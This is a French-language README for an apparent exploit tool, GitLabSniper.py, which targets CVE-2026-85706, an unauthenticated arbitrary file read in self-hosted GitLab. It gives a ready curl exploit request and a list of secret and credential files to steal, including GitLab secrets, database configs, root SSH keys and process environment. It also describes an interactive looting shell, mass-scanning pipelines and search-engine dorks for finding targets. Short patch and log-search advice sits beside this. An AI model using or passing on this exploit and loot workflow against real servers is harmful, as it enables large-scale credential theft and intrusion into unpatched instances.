
Scanner et exploit Python en un seul fichier pour CVE-2026-85706, une lecture de fichier arbitraire non authentifiée dans GitLab CE/EE auto-hébergé, avec énumération de projets, chemins de collecte et un shell interactif.
CVE-2026-85706 — lecture arbitraire de fichiers non authentifiée sur GitLab CE/EE
détection · énumération de projets publics · collecte · shell interactif · pipeline subfinder/httpx
Auteur : Yunus Emre Öztaş (mitsec)
X : x.com/ynsmroztas
GitHub : github.com/ynsmroztas
Site : ynsmroztas.github.io
Mail : [email protected]
À utiliser uniquement sur des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation explicite de test (bug bounty / VDP / contrat écrit).
GitLabSniper.py est un scanner/exploit Python en un seul fichier pour CVE-2026-85706 : une lecture de fichier locale non authentifiée dans les éditions Community et Enterprise de GitLab auto-hébergé.
Il ne s'arrête pas à « la version semble affectée ». Il déclenche le contournement par différentiel d'analyseur de Workhorse, classe la réponse de Rails, et n'affiche FILE LEAK que lorsque le corps de la réponse 400 contient les octets du fichier à l'intérieur de invalid %-encoding (...).
| Bande | Versions |
|---|---|
| Affectées | 18.7 – 19.1.7 · 19.2.0 – 19.2.5 · 19.3.0 – 19.3.1 |
| Corrigées | 19.1.8 / 19.2.6 / 19.3.2 (2026-09-10) |
| Hors périmètre | gitlab.com · GitLab Dedicated |
Trois endpoints de dépôt se trouvent derrière le requestBodyUploader de Workhorse :
POST /api/v4/projects/:id/repository/commitsPOST /api/v4/projects/:id/repository/files/:file_pathPUT /api/v4/projects/:id/repository/files/:file_pathRails prend le champ brut file.path et exécute File.open avant authenticate!. require_gitlab_workhorse! n'est pas une véritable barrière ici : Workhorse appose déjà un JWT Gitlab-Workhorse-Api-Request valide sur tout ce qu'il proxifie.
Workhorse était censé réécrire l'upload au préalable. Sa regex de route correspond à EscapedPath() et à un clone path.Clean qui ne décode jamais le pourcentage. Puma, lui, décode %XX avant le routage Grape.
Attaquant
POST /api/v4/projects/35/repository/%63ommits
POST /api/v4/projects/35/repository/commits/ ← le slash final passe aussi
?file=&file.path=/etc/passwd&file.size=1
&Content-Type=application/x-www-form-urlencoded
│
▼
Workhorse la regex voit "%63ommits" / "commits/" → ÉCHEC (pas de réécriture)
│
▼
Puma décode %63 → commits → ROUTE vers Rails
│
▼
Rails File.open(params[:file][:path]) → AVANT l'auth
│
▼
Rack parse_nested_query(File.read(path))
"%" isolé qui n'est pas %HH
│
▼
HTTP 400 Invalid parameter: invalid %-encoding (<octets bruts du fichier>)
file= vide satisfait requires :file, WorkhorseFile (vide → nil). Le canal de fuite est la branche urlencoded. JSON/Oj ne renvoie pas les octets du fichier de la même manière — l'outil envoie toujours Content-Type=application/x-www-form-urlencoded.
//, /./, %2F et ; ne contournent pas : path.Clean normalise les deux premiers et Puma rejette %2F.
L'id de projet n'est pas « quel dépôt voler ». file.path est un chemin serveur absolu. L'id n'est que le fragment d'URL qui atteint le contrôleur vulnérable.
C'est pourquoi l'outil énumère GET /api/v4/projects et ignore les ids restreints.
Une fuite confirmée exige cette sous-chaîne dans le corps :
invalid %-encoding (
Les fichiers sans % isolé peuvent tout de même être ouverts (read-noecho / plus tard branch is required) mais ne seront pas renvoyés. C'est un oracle, pas un dump exploitable.
x-gitlab-* / sign-in) + plage de versions lorsqu'elle est visibleGET /api/v4/projects)1..7)%63ommits · %72epository · %66iles.jsonleak · leak-fragment · read-noecho · missing · project-gate · rewrite · noroutepip install requests
python3 GitLabSniper.py -h
Python 3.10+. Aucune autre dépendance.
python3 GitLabSniper.py -u https://gitlab.example.com --auto
python3 GitLabSniper.py -u https://gitlab.example.com --auto --shell
python3 GitLabSniper.py -u https://gitlab.example.com --file /etc/gitlab/gitlab-secrets.json
python3 GitLabSniper.py -u https://gitlab.example.com --project-id 35 --auto
python3 GitLabSniper.py -u https://gitlab.example.com --shell
[email protected]> help
[email protected]> cat /etc/passwd
[email protected]> secrets
[email protected]> loot
[email protected]> project 35
[email protected]> curl /etc/gitlab/gitlab.rb
[email protected]> exit
subfinder -d example.com -silent \
| httpx -silent -sc -td -title \
| python3 GitLabSniper.py --pipe --auto -o hits.jsonl
subfinder -d example.com -silent \
| httpx -silent -json \
| python3 GitLabSniper.py --pipe --auto -q -o hits.jsonl
# stdin n'est pas un TTY → --pipe est implicite
cat hosts.txt | python3 GitLabSniper.py --auto
L'analyseur accepte :
https://gitlab.example.comhttps://gitlab.example.com [200] [GitLab] [nginx]httpx -json (url / status_code)host et host:port bruts[0] / timeout / videsCodes de sortie : 0 fuite · 1 oracle seul / pas de fuite en pipe · 2 aucun signal exploitable.
Ne déposez pas un rapport critique sur la seule base de read-noecho.
/etc/hostname
/etc/passwd
/etc/os-release
/opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml
/opt/gitlab/embedded/service/gitlab-rails/config/gitlab.yml
/opt/gitlab/embedded/service/gitlab-rails/config/database.yml
/etc/gitlab/gitlab-secrets.json
/etc/gitlab/gitlab.rb
/var/opt/gitlab/gitlab-rails/etc/secrets.yml
/opt/gitlab/embedded/service/gitlab-rails/config/initializers/secret_token.rb
/root/.ssh/id_rsa
/var/opt/gitlab/.ssh/id_rsa
/proc/self/environ
Impact maximal lorsqu'ils sont renvoyés : secrets.yml, gitlab-secrets.json, database.yml (secret_key_base, otp_key_base, mot de passe DB).
curl -sk -X POST \
"https://gitlab.example.com/api/v4/projects/35/repository/commits/?file=&file.path=%2Fopt%2Fgitlab%2Fembedded%2Fservice%2Fgitlab-rails%2Fconfig%2Fgitlab.yml&file.size=1&Content-Type=application/x-www-form-urlencoded"
Une instance vulnérable renvoie un JSON similaire à :
{"message":"400 Bad request - Invalid parameter: invalid %-encoding (## GitLab settings\n gitlab:\n host: gitlab.example.com\n ... )"}
Sur certains hôtes, %63ommits renvoie 401 et c'est /repository/commits/ (slash final) qui fuit. L'outil parcourt toutes les variantes.
http.html:"GitLab" http.status:200
http.html:"Sign in · GitLab"
ssl:"gitlab" port:443
"X-Gitlab-"
À combiner avec subfinder | httpx | GitLabSniper.py --pipe --auto.
Ce dépôt est destiné aux tests de sécurité autorisés et à la validation défensive après correction. Vous êtes responsable du périmètre.
Si vous exploitez une instance GitLab auto-hébergée dans la plage affectée : mettez à niveau vers 19.1.8 / 19.2.6 / 19.3.2 dès maintenant. Recherchez dans les logs d'accès les POST /api/v4/projects/*/repository/commits avec un paramètre de requête file.path.
Vulnérabilité signalée par s3ntago via GitLab HackerOne.
Write-up et PoC original sur lesquels cet outil est construit :
https://github.com/guneykabel/cve-2026-85706
Merci à guneykabel pour la publication d'un classificateur clair (leak / missing / project-gate / rewrite) et pour l'explication du différentiel Workhorse ↔ Puma. GitLabSniper enveloppe ce modèle avec l'énumération de projets, la collecte, le shell et les pipelines de reconnaissance.
Avis / correctifs GitLab : CE/EE 19.1.8, 19.2.6, 19.3.2.
Yunus Emre Öztaş · mitsec
[email protected]| Endpoint | Exigence de projet |
|---|
files (%66iles) | N'importe quel id fonctionne souvent — File.open est avant les vérifications de projet |
commits (%63ommits, commits/, commits.json) | Nécessite un projet qu'un utilisateur anonyme peut read_code. Sinon 404 Project Not Found |
--auto (hostname, passwd, secrets.yml, gitlab-secrets.json, gitlab.rb, database.yml, clés ssh, environ)cat, loot, secrets, passwd, project <id>, curl)httpx -sc -td -title, httpx -json, ANSI supprimé-o)| Option | Signification |
|---|
-u / -t / --target | URL de base unique |
--pipe | Lit les cibles depuis stdin |
-f / --list | Fichier d'hôtes |
--file | Un chemin absolu à lire |
--auto / --loot | Liste de fichiers GitLab à forte valeur |
--shell | Shell interactif de lecture de fichiers |
--project-id | Force l'id de projet (défaut : énumération + repli) |
--max-projects | Limite les ids d'énumération/repli (défaut 8) |
--force | Scanne même si l'empreinte est faible |
--threads | Workers du pipeline (défaut 8) |
--timeout | Secondes (défaut 15) |
-o | hits.json ou hits.jsonl |
-q | Silencieux |
--no-banner | Pas de bannière |
| Tag | Signification | Rapport ? |
|---|
leak | invalid %-encoding ( + octets du fichier | Oui — confirmé |
leak-fragment | Écho partiel | Peut-être, joindre le corps |
read-noecho | 401 / branch is required après ouverture, pas de % dans le fichier | Oracle uniquement |
missing | local file not present — le contournement a atteint le disque | Oracle d'existence |
project-gate | 404 Project Not Found | Essayer un autre id public |
rewrite | Workhorse a réécrit le corps (Invalid json) | Cette forme est morte |
noroute | 404 simple | Corrigé ou mauvais chemin |
other | 500 / résiduel | Vider le corps avant de conclure |